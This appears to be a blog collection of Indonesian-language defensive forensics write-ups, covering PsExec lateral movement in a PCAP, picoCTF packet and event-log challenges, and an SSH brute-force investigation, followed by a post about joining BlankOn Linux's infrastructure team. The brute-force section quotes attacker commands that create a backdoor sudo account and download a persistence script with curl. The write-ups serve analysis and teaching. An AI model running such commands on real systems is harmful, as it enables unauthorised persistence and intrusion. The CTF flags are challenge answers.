Introduction

Challenge PsExec Hunt menempatkan kita sebagai SOC analyst yang menerima alert dari IDS terkait aktivitas mencurigakan di jaringan internal. Alert tersebut menunjukkan adanya indikasi lateral movement menggunakan PsExec — sebuah tool administrasi remote yang sah, namun sangat sering disalahgunakan oleh attacker.

Tugas utama: analisis file PCAP menggunakan Wireshark untuk menelusuri:

• Dari mana attacker masuk

• Ke mesin mana attacker berpindah

• Credential apa yang digunakan

• Apa yang dilakukan di mesin target

• Sejauh mana jangkauan serangan

Kenapa PsExec Berbahaya?

PsExec bekerja dengan cara menyalin file service executable-nya (PSEXESVC.exe) ke share administratif target (ADMIN$), lalu menjalankannya secara remote. Karena menggunakan protokol SMB yang legitimate dan credential yang valid, aktivitas ini sering lolos dari deteksi awal.

Tools yang digunakan:

Investigation & Findings

Q1 — IP Address Attacker (Initial Access)

Pertanyaan: Dari IP mana attacker pertama kali mendapatkan akses ke jaringan?

Langkah analisis:

Buka file PCAP di Wireshark, lalu navigasi ke:

Statistics → Protocol Hierarchy

Protocol Hierarchy menunjukkan dominasi SMB2 over TCP

Dari sini terlihat jelas adanya traffic SMB2 (Server Message Block v2) melalui NetBIOS Session Service di atas TCP. Ini adalah protokol file sharing Windows yang menjadi medium utama serangan.

Filter traffic SMB untuk melihat siapa yang memulai komunikasi:

smb2

SMB Negotiate Protocol Request dari 10.0.0.130 ke 10.0.0.133 di port 445

Ditemukan SMB Negotiate Protocol Request yang dikirim dari 10.0.0.130 ke 10.0.0.133 melalui TCP port 445 — port standar SMB. Paket ini adalah langkah pertama dalam negosiasi sesi SMB, di mana client memulai komunikasi ke server. Karena 10.0.0.130 yang menginisiasi, maka ini adalah mesin attacker.

Answer: 10.0.0.130 {: .prompt-tip }

Q2 — Hostname Mesin Target Pertama

Pertanyaan: Apa hostname mesin yang pertama kali dijadikan target pivot oleh attacker?

Langkah analisis:

Klik kanan pada paket SMB dari Q1 → Follow → TCP Stream untuk melihat keseluruhan sesi komunikasi antara kedua IP.

Di dalam stream tersebut, cari paket NTLM Authentication — khususnya bagian NTLM Challenge yang dikirim oleh server sebagai respons terhadap upaya autentikasi client.

NTLM Challenge mengandung metadata target machine termasuk hostname

Di dalam NTLM Challenge message, server menyertakan informasi metadata tentang dirinya sendiri, termasuk:

• NetBIOS Computer Name → nama host mesin

• NetBIOS Domain Name → nama domain

• DNS Computer Name → FQDN mesin

Dari metadata tersebut, hostname mesin target pertama terbaca sebagai SALES-PC.

Answer: SALES-PC {: .prompt-tip }

Q3 — Username yang Digunakan Attacker

Pertanyaan: Username apa yang dipakai attacker untuk autentikasi?

Langkah analisis:

Masih di TCP stream yang sama, cari paket SMB2 Session Setup Request — ini adalah paket di mana client mengirimkan credential ke server untuk memulai sesi.

Filter tambahan untuk mempermudah pencarian:

ntlmssp.auth.username

SMB2 Session Setup Request menampilkan username dan hostname asal

Di dalam paket ini, pada bagian NTLM Auth, terdapat field Account Name yang menampilkan username yang digunakan. Ditemukan bahwa attacker menggunakan akun ssales yang berasal dari host HR-PC.

Ini mengindikasikan bahwa attacker berhasil mencuri atau mengkompromikan credential akun ssales dari mesin HR-PC, kemudian menggunakannya untuk bergerak lateral ke SALES-PC.

Answer: ssales {: .prompt-tip }

Q4 — Nama Service Executable yang Dipasang

Pertanyaan: Apa nama file executable yang dipasang attacker di mesin target?

Langkah analisis:

Lanjutkan analisis TCP stream ke bagian selanjutnya. Setelah sesi berhasil terbentuk, cari paket SMB2 Create Request — ini adalah paket yang digunakan untuk membuat file baru di sistem target.

Filter:

smb2.cmd == 5

(Command code 5 = Create/Open file di SMB2)

SMB2 Create Request menunjukkan file PSEXESVC.exe ditulis ke share ADMIN$

Di dalam paket Create Request, terlihat nama file yang dibuat: PSEXESVC.exe — ini adalah service component dari tool PsExec. File ini disalin ke share ADMIN$ pada mesin target sebagai bagian dari mekanisme remote execution PsExec.

Answer: PSEXESVC.exe {: .prompt-tip }

Q5 — Network Share untuk Instalasi Service

Pertanyaan: Share jaringan mana yang digunakan PsExec untuk menginstall service?

Langkah analisis:

Perhatikan detail paket SMB2 Create Request dari Q4. Di dalam paket tersebut, terdapat field Tree ID yang menunjukkan share mana yang sedang diakses.

Tree ID menunjuk ke \10.0.0.133\ADMIN$ sebagai target share

Tree ID menunjuk ke path \\10.0.0.133\ADMIN$ — ini adalah hidden administrative share yang secara default di-map ke direktori C:\Windows pada sistem Windows. Share ini biasanya hanya bisa diakses oleh administrator dan digunakan untuk keperluan administrasi remote.

PsExec memanfaatkan ADMIN$ karena:

1. Memberikan akses langsung ke direktori sistem Windows

2. Tersedia secara default di semua sistem Windows

3. Bisa diakses menggunakan credential administrator yang valid

Answer: ADMIN$ {: .prompt-tip }

Q6 — Network Share untuk Komunikasi

Pertanyaan: Share mana yang digunakan PsExec untuk komunikasi antar mesin?

Langkah analisis:

Scroll ke bagian awal TCP stream untuk melihat SMB2 Tree Connect Request yang terjadi sebelum proses instalasi service. Ini adalah paket di mana client meminta akses ke share tertentu.

Filter untuk melihat semua Tree Connect Request:

smb2.cmd == 3

(Command code 3 = Tree Connect di SMB2)

Tree Connect Request menunjukkan koneksi ke \10.0.0.133\IPC$

Ditemukan koneksi ke \\10.0.0.133\IPC\( — IPC\) (Inter-Process Communication) adalah share khusus Windows yang digunakan bukan untuk menyimpan file, melainkan untuk:

• Remote Procedure Calls (RPC)

• Komunikasi antar proses secara remote

• Manajemen service dan autentikasi

PsExec menggunakan IPC$ sebagai channel komunikasi untuk mengirim perintah dan menerima output dari service yang sudah diinstall di mesin target.

Answer: IPC$ {: .prompt-tip }

Q7 — Hostname Mesin Target Kedua

Pertanyaan: Apa hostname mesin kedua yang coba dijadikan target pivot oleh attacker?

Langkah analisis:

Cari SMB session baru di luar TCP stream yang sudah dianalisis sebelumnya. Gunakan filter untuk menemukan SMB Negotiate Request dari IP attacker ke IP yang berbeda:

ip.src == 10.0.0.130 && smb

Attacker mencoba SMB Negotiate ke 10.0.0.131 — target pivot kedua

Ditemukan upaya koneksi SMB dari 10.0.0.130 ke IP baru: 10.0.0.131. Follow TCP Stream dari koneksi ini, lalu cari NTLM Challenge response dari server untuk mengekstrak hostname target.

NTLM Challenge mengungkap hostname MARKETING-PC, namun autentikasi gagal

Dari metadata NTLM Challenge, hostname mesin kedua teridentifikasi sebagai MARKETING-PC. Namun perlu dicatat — di dalam sesi ini ditemukan error STATUS_LOGON_FAILURE, yang berarti upaya pivot ke MARKETING-PC gagal karena credential yang digunakan tidak valid di mesin tersebut.

Answer: MARKETING-PC {: .prompt-tip }

Results Summary

Kesimpulan

Challenge PsExec Hunt memberikan gambaran nyata bagaimana attacker bergerak di dalam jaringan internal menggunakan tool yang sebenarnya legitimate. Hanya dengan satu file PCAP, seluruh rantai serangan bisa direkonstruksi — dari titik masuk, credential yang digunakan, hingga sejauh mana attacker berhasil bergerak.

Tiga pelajaran utama dari lab ini:

1. Monitoring SMB traffic itu wajib SMB adalah protokol yang sangat umum di lingkungan Windows — tapi justru karena itu sering diabaikan. Anomali seperti koneksi ke ADMIN$ atau pembuatan file .exe via SMB harus langsung memicu alert.

2. Credential compromised = lateral movement risk Satu akun yang berhasil dikompromikan (ssales) membuka pintu ke seluruh mesin yang bisa diakses dengan credential tersebut. Prinsip least privilege dan MFA adalah defense pertama yang harus diperkuat.

3. PsExec meninggalkan fingerprint yang khas Pola traffic: IPC\( → ADMIN\) → pembuatan PSEXESVC.exe adalah signature yang sangat identik dengan penggunaan PsExec. Memahami pola ini memungkinkan deteksi yang jauh lebih cepat.

Tool yang legitimate pun bisa menjadi senjata — yang membedakan adalah siapa yang memegangnya dan apa tujuannya. {: .prompt-info }

Introduction

Challenge Ph4nt0m 1ntrud3r mengajak kita untuk menganalisis file PCAP — sebuah rekaman lalu lintas jaringan — untuk menemukan flag yang disembunyikan oleh attacker.

Yang menarik dari challenge ini: flag-nya tidak langsung tersimpan dalam satu paket. Attacker sengaja memecah dan menyembunyikan flag ke dalam beberapa paket TCP secara tidak berurutan. Kita harus:

1. Menemukan paket-paket yang relevan

2. Mengekstrak data dari dalamnya

3. Mendekode dari format hex → Base64 → teks asli

4. Menyusun ulang potongan-potongan tersebut menjadi flag yang utuh

Tools yang dibutuhkan:

Belum punya tshark? Install dengan: sudo apt install tshark {: .prompt-info }

Step-by-Step Solution

Step 1 — Download & Buka File PCAP

Download file myNetworkTraffic.pcap dari link yang diberikan di challenge, lalu pindahkan ke direktori kerja kamu. Dalam contoh ini kita simpan di ~/Downloads.

cd ~/Downloads
ls -lh myNetworkTraffic.pcap

Sebelum langsung filter, ada baiknya kita lihat dulu gambaran umum isi file ini — paket apa saja yang ada di dalamnya.

tshark -r myNetworkTraffic.pcap -T fields -e tcp.segment_data

Penjelasan command:

• -r myNetworkTraffic.pcap → baca file PCAP ini

• -T fields → tampilkan hanya field tertentu, bukan output lengkap

• -e tcp.segment_data → tampilkan isi data/payload dari tiap paket TCP

Hasil output mentah — deretan hex string dari tiap paket TCP

Hasilnya adalah deretan hex string yang merupakan isi dari masing-masing paket. Terlihat banyak paket, tapi kita belum tahu mana yang relevan.

Step 2 — Filter Paket yang Relevan

Setelah melihat outputnya, kita perlu menyaring hanya paket yang mengandung data flag. Caranya dengan memfilter berdasarkan panjang TCP payload.

Dalam challenge ini, paket yang relevan adalah yang memiliki panjang 12 byte atau 4 byte.

tshark -r myNetworkTraffic.pcap -Y "tcp.len==12 || tcp.len==4" -T fields -e tcp.segment_data

Penjelasan tambahan:

• -Y "tcp.len==12 || tcp.len==4" → filter display: hanya tampilkan paket TCP dengan payload sepanjang 12 atau 4 byte

Jumlah paket berkurang signifikan setelah difilter

Hasilnya sudah jauh lebih sedikit. Tapi outputnya masih berupa hex — belum bisa dibaca.

Step 3 — Konversi Hex ke ASCII

Kita sambungkan output tadi ke xxd -r -p untuk mengubah hex menjadi teks yang bisa dibaca.

tshark -r myNetworkTraffic.pcap -Y "tcp.len==12 || tcp.len==4" -T fields -e tcp.segment_data | xxd -r -p

Penjelasan xxd -r -p:

• -r → mode reverse: ubah hex dump kembali ke binary/ASCII

• -p → plain hex input (tanpa offset atau kolom samping)

Teks sudah terbaca, tapi masih dalam format Base64

Hasilnya sekarang terlihat seperti string Base64 — ditandai dengan karakter = atau == di akhir tiap potongan. Tapi urutannya masih acak!

Step 4 — Urutkan Berdasarkan Timestamp

Masalahnya: paket-paket ini tidak terurut berdasarkan waktu saat dibaca. Jika kita langsung decode, flag yang kita dapat tidak akan berurutan.

Solusinya: tambahkan field frame.time ke output, lalu sort berdasarkan timestamp sebelum decode.

tshark -r myNetworkTraffic.pcap \
  -Y "tcp.len==12 || tcp.len==4" \
  -T fields \
  -e frame.time \
  -e tcp.segment_data \
  | sort -k4 \
  | awk '{print $6}' \
  | xxd -p -r \
  | base64 -d

Penjelasan tiap bagian:

Flag muncul setelah paket diurutkan dan di-decode

Step 5 — Rekonstruksi Flag

Hasil decode menghasilkan potongan-potongan seperti ini:

Susun potongan-potongan tersebut secara logis berdasarkan konteks kalimat:

picoCTF + {1t_w4s + nt_th4t + _34sy_t + bh_4r_9 + 66d0bfb + }

Flag: picoCTF{1t_w4snt_th4t_34sy_tbh_4r_966d0bfb} {: .prompt-tip }

Terjemahan tersembunyi dari flagnya: "It wasn't that easy, to be honest." — pesan dari si pembuat soal.

Penutup & Kesimpulan

Challenge Ph4nt0m 1ntrud3r mengajarkan kita bahwa data tidak selalu tersimpan dalam satu tempat yang mudah ditemukan. Attacker bisa menyembunyikan informasi dengan cara:

1. Memecah data menjadi potongan-potongan kecil

2. Mengenkode tiap potongan dalam format Base64

3. Mengirimnya secara tidak berurutan melalui jaringan

Untuk mengungkapnya, kita butuh pendekatan yang sistematis:

• Filter dulu paket yang benar-benar relevan — jangan langsung olah semua paket

• Perhatikan timestamp — urutan pengiriman paket sangat penting untuk rekonstruksi data

• Kenali encoding — Base64, hex, dan format lainnya adalah teknik umum dalam CTF maupun serangan nyata

Satu hal yang menarik dari challenge ini: tshark saja sudah cukup untuk menyelesaikan semuanya. Kita tidak butuh tool berat — cukup pahami alur data dari paket ke flag, lakukan satu pipeline command yang tepat, dan flag pun terbuka.

Challenge Event-Viewing membawa kita ke dalam skenario investigasi malware di lingkungan Windows. Seorang karyawan melaporkan kejadian aneh pada komputernya:

1. Mereka menginstall software dari internet

2. Software dijalankan tapi seperti tidak melakukan apa-apa

3. Setiap kali komputer dinyalakan dan login, muncul layar hitam command prompt sekilas lalu komputer langsung mati

Tugas kita: analisis Windows Event Log untuk menemukan jejak dari ketiga kejadian tersebut, dan kumpulkan 3 potongan flag yang tersembunyi di dalamnya.

Apa itu Windows Event Log?

Windows Event Log adalah sistem pencatatan bawaan Windows yang merekam semua aktivitas penting di sistem — mulai dari instalasi software, perubahan registry, hingga proses shutdown. File log ini berekstensi .evtx dan bisa dibuka dengan Event Viewer atau diparse menggunakan script Python.

Tools yang dibutuhkan:

Install library python-evtx dengan: pip install python-evtx {: .prompt-info }

Step-by-Step Solution

Step 1 — Parse File EVTX ke Format XML

File .evtx adalah format binary — tidak bisa dibaca langsung seperti teks biasa. Langkah pertama kita ubah dulu ke format XML yang mudah dibaca dan dicari.

Buat file parse_evtx.py dengan isi berikut:

from Evtx.Evtx import Evtx

def parse_evtx_file(file_path):
    xml_records = []
    try:
        with Evtx(file_path) as log:
            for record in log.records():
                xml_records.append(record.xml())
    except FileNotFoundError:
        print("Error: File tidak ditemukan. Cek kembali path-nya.")
    except Exception as e:
        print(f"Terjadi error: {e}")
    return xml_records

if __name__ == "__main__":
    file_path = input("Masukkan path ke file EVTX: ").strip()
    records = parse_evtx_file(file_path)
    for rec in records:
        print(rec)

Jalankan script tersebut:

python3 parse_evtx.py > output.xml
# Masukkan path file saat diminta, contoh: /home/kali/Downloads/Windows_Log.evtx

File EVTX berhasil dikonversi ke XML — siap untuk dianalisis

Sekarang kita punya file output.xml yang berisi seluruh log dalam format teks. Selanjutnya kita cari event-event spesifik berdasarkan Event ID.

Step 2 — Fase 1: Instalasi Software (Event ID 1033)

Konteks: Karyawan menginstall software dari internet menggunakan installer.

Di Windows, setiap kali sebuah software berhasil diinstall via Windows Installer, sistem mencatat Event ID 1033 di log Windows Installer.

Cari Event ID ini di hasil parse kita:

grep -A 30 "EventID>1033" output.xml

Atau jika menggunakan Windows Event Viewer:

• Buka Event Viewer

• Navigasi ke Applications and Services Logs > Microsoft > Windows > MsiInstaller

• Filter by Event ID: 1033

Event ID 1033 mencatat instalasi software beserta string Base64 tersembunyi

Di dalam event ini, ditemukan sebuah string yang terlihat seperti Base64:

cGljb0NURntFdjNudF92aTN3djNyXw==

Decode menggunakan terminal:

echo "cGljb0NURntFdjNudF92aTN3djNyXw==" | base64 -d

Hasil decode:

picoCTF{Ev3nt_vi3wv3r_

Flag Part 1: picoCTF{Ev3nt_vi3wv3r_ {: .prompt-tip }

Step 3 — Fase 2: Eksekusi Software & Modifikasi Registry (Event ID 4657)

Konteks: Software dijalankan tapi "seperti tidak melakukan apa-apa" — padahal diam-diam memodifikasi registry.

Ini adalah teknik klasik malware: memasukkan dirinya ke registry Run key agar otomatis berjalan setiap kali sistem startup.

Registry key yang biasa dipakai malware untuk persistence:

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Perubahan pada registry value dicatat oleh Windows dengan Event ID 4657 di Security Log.

Cari Event ID ini:

grep -A 40 "EventID>4657" output.xml

Event ID 4657 menunjukkan modifikasi registry Run key dengan nilai Base64

Di dalam event ini, pada field ObjectValueName, ditemukan string Base64:

MXNfYV9wcjN0dHlfdXMzZnVsXw==

Decode:

echo "MXNfYV9wcjN0dHlfdXMzZnVsXw==" | base64 -d

Hasil decode:

1s_a_pr3tty_us3ful_

Flag Part 2: 1s_a_pr3tty_us3ful_ {: .prompt-tip }

Apa yang terjadi di balik layar?

Malware menambahkan entry baru di registry Run key yang mengarah ke file berbahaya — dalam hal ini custom_shutdown.exe. Setiap kali Windows startup dan user login, file ini otomatis dieksekusi, dan itulah yang menyebabkan komputer langsung mati.

Step 4 — Fase 3: Shutdown Otomatis (Event ID 1074)

Konteks: Setiap login, muncul command prompt sekilas lalu komputer mati.

Setiap kali sistem di-shutdown atau restart, Windows mencatat Event ID 1074 di System Log — berisi informasi proses mana yang memicu shutdown dan alasannya.

Cari Event ID ini:

grep -A 40 "EventID>1074" output.xml

Event ID 1074 menunjukkan dua entri shutdown — satu legitimate, satu dari malware

Perhatikan: Ada dua entri Event ID 1074 di sini:

1. RuntimeBroker.exe → proses Windows yang legitimate, ini adalah "smokescreen" / pengalih perhatian

2. custom_shutdown.exe (ditulis juga sebagai custum_shutdown.exe) → ini adalah binary malware yang sebenarnya memicu shutdown {: .prompt-warning }

Di dalam event dari custom_shutdown.exe, ditemukan string Base64:

dDAwbF84MWJhM2ZlOX0=

Decode:

echo "dDAwbF84MWJhM2ZlOX0=" | base64 -d

Hasil decode:

t00l_81ba3fe9}

Flag Part 3: t00l_81ba3fe9} {: .prompt-tip }

Step 5 — Gabungkan Semua Potongan Flag

Kita kumpulkan ketiga potongan sesuai urutan kejadian:

Gabungkan:

picoCTF{Ev3nt_vi3wv3r_  +  1s_a_pr3tty_us3ful_  +  t00l_81ba3fe9}

Flag: picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9} {: .prompt-tip }

📊 Summary

🗺️ Attack Flow

[Karyawan download installer]
         │
         ▼
[Install software → Event ID 1033]
  └─ Flag Part 1 tersembunyi di sini

         │
         ▼
[Software dijalankan → terlihat tidak ada yang terjadi]
  └─ Diam-diam: tulis entry ke registry Run key
  └─ Event ID 4657 mencatat perubahan ini
  └─ Flag Part 2 tersembunyi di sini

         │
         ▼
[Setiap startup → registry Run key dieksekusi]
  └─ custom_shutdown.exe berjalan otomatis
  └─ Komputer langsung shutdown
  └─ Event ID 1074 mencatat kejadian ini
  └─ Flag Part 3 tersembunyi di sini

Alur serangan malware dari instalasi hingga shutdown otomatis

Penutup & Kesimpulan

Challenge Event-Viewing mengajarkan kita tentang pentingnya Windows Event Log sebagai sumber utama investigasi forensik di lingkungan Windows. Dengan memahami Event ID yang tepat, kita bisa merekonstruksi seluruh aktivitas malware hanya dari log:

Tiga pelajaran utama dari challenge ini:

1. Event ID adalah kunci navigasi log Windows mencatat ratusan jenis event — mengetahui Event ID mana yang relevan membuat investigasi jauh lebih efisien. Tiga Event ID krusial di sini: 1033 (instalasi), 4657 (registry), 1074 (shutdown).

2. Registry Run key adalah tempat favorit malware Teknik persistence via SOFTWARE\Microsoft\Windows\CurrentVersion\Run adalah salah satu yang paling umum digunakan malware sampai saat ini. Selalu periksa registry key ini saat menginvestigasi insiden Windows.

3. Jangan tertipu proses legitimate Malware sengaja menggunakan RuntimeBroker.exe sebagai "smokescreen" sebelum menjalankan custom_shutdown.exe. Investigator yang tidak teliti bisa saja berhenti di situ dan melewatkan binary berbahaya yang sebenarnya.

Skenario dalam challenge ini sangat mencerminkan serangan nyata di dunia profesional — dan itulah mengapa pemahaman mendalam tentang Windows Event Log menjadi skill wajib bagi seorang Blue Team analyst.

Malware bisa bersembunyi, tapi Windows selalu mencatat. Event Log tidak pernah berbohong — jika kamu tahu harus mencari apa. {: .prompt-info }

Challenge Overview

Brutus adalah challenge forensik yang mengangkat skenario umum di dunia nyata: sebuah server Linux mengalami brute force attack via SSH. Setelah berhasil masuk, attacker melakukan serangkaian aktivitas lanjutan yang dapat direkonstruksi melalui analisis log.

Skill yang Dilatih

• Unix Log Analysis

• SSH Brute Force Detection

• Timeline Reconstruction

• Persistence Analysis

• MITRE ATT&CK Mapping

Artifact Overview

Pola Failed password berulang dari IP yang sama

auth.log

File teks yang mencatat seluruh aktivitas autentikasi pada sistem Linux:

• SSH login attempts (berhasil maupun gagal)

• Penggunaan sudo

• Pembuatan user baru & privilege escalation

Struktur umum satu baris log:

[Timestamp]  [Hostname]  [Service/PID]  [Status]  [Username]  [IP]  [Detail]

Contoh entri brute force:

Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2

wtmp

File binary berisi riwayat sesi login/logout. Tidak bisa dibaca langsung — gunakan:

# Native Linux
last -f wtmp

# Helper script (challenge)
python3 utmp.py -o wtmp.out wtmp

Catatan penting: Authentication time ≠ Session start time. Inilah mengapa wtmp krusial untuk validasi timeline. {: .prompt-warning }

Investigation & Findings

Task 1 — Attacker IP Address

Brute force dapat diidentifikasi dari pola berikut di auth.log:

• Entri Failed password dalam jumlah sangat banyak

• Dari IP yang sama

• Dalam jeda waktu sangat singkat (tidak mungkin manual)

Mar 06 06:31:31 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:35 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2

Answer: 65.2.161.68 {: .prompt-tip }

Task 2 — Compromised Account

Indikator keberhasilan brute force adalah adanya log:

Accepted password for root from 65.2.161.68

Attacker berhasil login sebagai user dengan privilege tertinggi.

Entri "Accepted password" menandakan brute force berhasil

Answer: root {: .prompt-tip }

Task 3 — Interactive Login Timestamp (UTC)

Analisis wtmp diperlukan untuk membedakan waktu autentikasi dan waktu sesi terminal aktif secara nyata.

Answer: 2024-03-06 06:32:45 UTC {: .prompt-tip }

Task 4 — SSH Session Number

Setiap koneksi SSH mendapatkan session ID unik yang tercatat di auth.log. Session ID digunakan untuk melacak kapan sesi dimulai dan berakhir.

Session ID 37 pada entri login root

Answer: 37 {: .prompt-tip }

Task 5 — Persistence Account

Setelah mendapatkan akses root, attacker membuat user baru sebagai backdoor persistence:

useradd cyberjunkie
usermod -aG sudo cyberjunkie

Log pembuatan user dan penambahan ke grup sudo

Answer: cyberjunkie {: .prompt-tip }

Task 6 — MITRE ATT&CK Mapping

Pembuatan akun lokal untuk persistence diklasifikasikan sebagai:

T1136.001 pada MITRE ATT&CK Enterprise Matrix

Answer: T1136.001 {: .prompt-tip }

Task 7 — End of First SSH Session

Session ID 37 ditutup berdasarkan log auth.log pada:

Entri penutupan sesi SSH ID 37

Answer: 2024-03-06 06:37:24 {: .prompt-tip }

Durasi sesi pertama: ±4 menit 39 detik — singkat, konsisten dengan aktivitas otomatisasi.

Task 8 — Post Exploitation Activity

Perintah curl via sudo tercatat di auth.log

Attacker login kembali menggunakan akun cyberjunkie, lalu mengeksekusi perintah via sudo:

/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Script eksternal dari GitHub ini kemungkinan digunakan untuk privilege enumeration, persistence reinforcement, dan lateral movement preparation.

Answer: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh {: .prompt-tip }

✅ Kesimpulan

Pertama, brute force attack masih menjadi ancaman nyata, terutama pada sistem yang tidak menerapkan hardening seperti rate limiting, fail2ban, atau key-based authentication.

Kedua, memahami perbedaan antara authentication log dan session log sangat krusial dalam membangun timeline yang akurat. auth.log memberi tahu kita kapan kredensial diterima, sedangkan wtmp memberi tahu kapan sesi benar-benar aktif.

Ketiga, persistence tidak selalu kompleks. Terkadang, teknik sederhana seperti membuat akun lokal baru dan menambahkannya ke grup sudo sudah cukup untuk mempertahankan akses.

Kita melihat bagaimana sebuah serangan brute force terhadap layanan SSH dapat berkembang menjadi kompromi penuh terhadap sistem. Dimulai dari percobaan login masif, berlanjut ke keberhasilan autentikasi sebagai root, kemudian diikuti dengan pembuatan akun baru untuk persistence, hingga eksekusi perintah menggunakan sudo untuk mengunduh script tambahan.

Seringkali, sebuah insiden besar dimulai dari satu hal yang sederhana — sebuah password yang berhasil ditebak. {: .prompt-info }

Introduction

I'm excited to share that I've recently joined the BlankOn Revival Project as a core contributor in the Infrastructure Team. BlankOn Linux is Indonesia's very own GNU/Linux distribution, designed specifically for Indonesian users with localized features and cultural elements that make computing more accessible to our communities.

BlankOn - Proudly Made in Indonesia

About BlankOn Linux

BlankOn Linux is not just another Linux distribution—it's a movement toward digital independence and technical competency in Indonesia. The name "BlankOn" itself carries a profound philosophy: the transformation from blank (empty) to on (filled/enlightened), representing the journey from unawareness to awareness, from consumer to producer.

The Philosophy Behind BlankOn

The project embodies a powerful vision: transforming Indonesians from mere consumers of technology to producers and innovators. It's about changing the mindset from dependency on foreign products to creating our own solutions.

Blank → On: The journey from emptiness to enlightenment, from consumer mentality to producer mentality. {: .prompt-info }

BlankOn's Relationship with Debian

BlankOn is a Debian derivative distribution that maintains 100% compatibility with Debian. This means:

• Applications for Debian can run on BlankOn

• BlankOn-specific applications can be installed on Debian

• BlankOn can be installed on top of existing Debian systems

• It's not just a remaster—it has its own packages and repositories

The Mission: Building an Open Source Ecosystem

The BlankOn Project aims to develop a comprehensive ecosystem around free and open-source software by:

1. Enhancing Local Talent: Building competency in FOSS development—from technical aspects like application development and Linux distribution to non-technical skills like leadership and community building

2. Creating a Self-Sustaining Ecosystem: Bringing together individuals, educational institutions, companies, and organizations (nonprofit, commercial, and governmental) that use BlankOn as their foundation

3. Transforming Mindsets: Converting people from consumers to producers and innovators, encouraging them to create code, ideas, artwork, and profitable business ventures

4. Perpetual Innovation: Creating a perpetual motion of innovation that feeds back into the BlankOn project through funding, feedback, and manpower

From Import-Dependent...

...To Self-Sufficient

My Role: Infrastructure Team

As part of the Infrastructure Team (Infrastruktur), I work alongside talented developers to maintain and improve BlankOn's technical backbone:

Team Members

Infrastructure Team:

• Harry Suryapambagya (Denpasar) - Infrastructure Lead

• Bagus Kusuma Loka (Jakarta) - Infrastructure Developer

• Firmansyah Dzakwan Arifien (Depok) - Infrastructure Developer (Me!)

My Responsibilities

Role: Infrastructure Core Contributor
Team: Infrastruktur BlankOn
Location: Depok, Indonesia
Contact:
  Email: fdzak01@gmail.com
  Telegram: @fdzak01

My work focuses on:

1. Server Infrastructure: Managing and maintaining BlankOn's server infrastructure

2. Build Systems: Ensuring smooth package building and distribution processes

3. Repository Management: Maintaining package repositories and mirrors

4. CI/CD Pipeline: Automating build and deployment workflows

5. Security: Implementing security best practices and GPG/SSH key management

6. Collaboration: Working with the packaging and R&D teams to support development needs

All infrastructure work is done transparently using GPG-signed commits and secure SSH authentication, ensuring the integrity of BlankOn's systems. {: .prompt-tip }

The Revival Project Structure

The BlankOn Revival project is organized into three core teams:

1. Infrastructure Team (Infrastruktur)

Responsible for:

• Server and network infrastructure

• Build and deployment systems

• Repository and mirror management

• Security and access control

Members: Harry, Bagus, and myself (Dzakwan)

2. Packaging Team (Pemaket)

Responsible for:

• Creating and maintaining Debian packages

• Package quality assurance

• Dependency management

• Integration with Debian upstream

Members: Herpiko, Lucky, Raffi, and Raska

3. Research & Development Team (Riset dan Pengembangan)

Responsible for:

• New feature development

• User experience improvements

• Localization and Indonesian language support

• Innovation and experimentation

Members: Atqa, Arthur (Aris), and Atikha

Vision for Success: Real-World Impact

BlankOn's success isn't measured just by downloads or installations, but by real-world transformations. Here are some aspirational scenarios that guide our work:

• Education Access: "I'm a student in a remote area, accessing Wikipedia offline using an affordable BlankOn computer"

• Accessibility: "I'm visually impaired, using BlankOn's accessibility features to access the Internet"

• Disaster Relief: "I'm a disaster victim, communicating through emergency telecommunication systems powered by BlankOn"

• Agriculture: "I'm a farmer, using irrigation solutions controlled by BlankOn systems"

• Creative Industry: "I own a graphic design and animation studio, all our software is FOSS, including BlankOn"

• Business: "I'm a telecommunications entrepreneur, selling mobile phones with software components developed by BlankOn"

• Government: "I'm a governor, using BlankOn to implement official communication in local languages and scripts"

• National Security: "I'm a general, our combat communication systems were developed with the BlankOn Team"

• Policy: "I'm the president, mandating open-source software and open data formats across all government agencies"

• International Impact: "I'm an entrepreneur from Vietnam, using applications developed with the BlankOn Team"

• Regional Expansion: "I'm a computer retailer in Malaysia, selling computers with BlankOn pre-installed"

These aren't just dreams—they're concrete goals that guide our development priorities and measure our impact on society. {: .prompt-info }

Technical Stack & Tools

Working on BlankOn infrastructure involves:

# Core Technologies
OS: Debian/BlankOn Linux
Version Control: Git with GPG signing
Authentication: SSH with Ed25519 keys
Security: GPG for package signing and verification
Build System: Debian packaging tools
CI/CD: GitHub Actions and custom automation
Repository: APT repository management
Monitoring: System and service monitoring tools

# Development Workflow
git commit -S -m "Signed commit"  # GPG-signed commits
ssh-keygen -t ed25519              # Secure SSH keys
gpg --sign --armor                 # Package signing

Why This Matters

Contributing to BlankOn is more than just technical work—it's about:

1. Digital Sovereignty: Building Indonesia's capacity to create and maintain its own technology

2. Knowledge Transfer: The chain mentoring system means today's mentees become tomorrow's mentors

3. Community Building: Creating networks of skilled developers across Indonesia

4. National Pride: Proving that Indonesia can produce world-class open-source software

5. Social Impact: Making technology more accessible to Indonesian communities

Getting Involved

The BlankOn project is always open to new contributors! Whether you're a developer, designer, writer, or just passionate about open source, there's a place for you.

Ways to Contribute

• Technical: Package maintenance, infrastructure work, feature development

• Documentation: Wiki editing, tutorial writing, translation

• Design: UI/UX design, artwork, branding

• Community: User support, event organization, advocacy

• Testing: Bug reporting, quality assurance, user feedback

Resources

• Website: blankonlinux.or.id

• Wiki: blankon.github.io/wiki

• GitHub: github.com/BlankOn

• License: GPL (Free and Open Source)

BlankOn is free to download and use, but donations are welcome to support ongoing development! {: .prompt-tip }

Looking Forward

Joining the BlankOn Revival Project as an infrastructure contributor is both an honor and a responsibility. I'm working alongside talented individuals who share the vision of digital independence for Indonesia.

This aligns perfectly with my broader journey in system administration and cybersecurity:

• SMTP 2025: Cybersecurity knowledge from Korean experts

• Jarvis Academy: System administration bootcamp

• Red Hat RH134: Enterprise Linux administration

• BlankOn: Infrastructure for Indonesian Linux distribution

Each experience builds upon the last, creating a comprehensive skill set that I can now apply to serve Indonesia's open-source community.

Personal Reflection

